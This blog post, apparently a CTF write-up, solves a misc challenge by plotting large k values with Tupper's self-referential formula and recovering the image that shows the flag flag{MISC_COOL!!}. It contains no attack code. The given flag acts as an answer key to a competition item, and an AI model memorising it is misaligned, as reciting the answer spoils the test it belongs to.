    plt.ylim(0, 17)
    plt.savefig(cwd+"+"+str(i)+".jpg")

自指的k保留一下,有543位:

selfReferentialK = 960939379918958884971672962127852754715004339660129306651505519271702802395266424689642842174350718121267153782770623355993237280874144307891325963941337723487857735749823926629715517173716995165232890538221612403238855866184013235585136048828693337902491454229288667081096184496091705183454067827731551705405381627380967602565625016981482083418783163849115590225610003652351370343874461848378737238198224849863465033159410054974700593138339226497249461751545728366702369745461014655997933798537483143786841806593422227898388722980000748404719

提供的zip包中有136张图片,每张四个验证码,不会图像识别又租不起识别云服务的可怜ctfer只能人工识别了(以下是手动检查了两遍的结果):

k1 = 1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865387478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552

绘制出的图片是这样的:Figure_2看起来像是上下穿越了的图片,手动裁剪一下会得到完整的图片,但也可以把k改一改:

k2 = 1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865387478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279561

得到的图片:Figure_1

看到ISC,左边的空间也不多了,那猜一猜就是:flag{MISC_COOL!!} ,提交到buu上会发现flag是对的(向已结束比赛提交正确的flag,它才会提示比赛已经结束;错误的flag会告诉你是错的)


那为什么改k可以呢,灵感来自:在线tuupers-formular绘制 ,传入k1会提示该数字不被17整除,将其加个9变成k2就能被17整除,我们就能得到一张正确的图片。(该网站只能处理17倍数的k,但在博客中拿来的代码可以处理所有的k)

试着偏移一下k,会得到:imageonline-co-gifimage

k的作用是偏移图片,每17次偏移会有一个像素点的变化,不断地偏移k就是在遍历所有像素点的变化。

工具:GIF免费制作在线tuupers-formular绘制

posted @   Festu  阅读(90)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示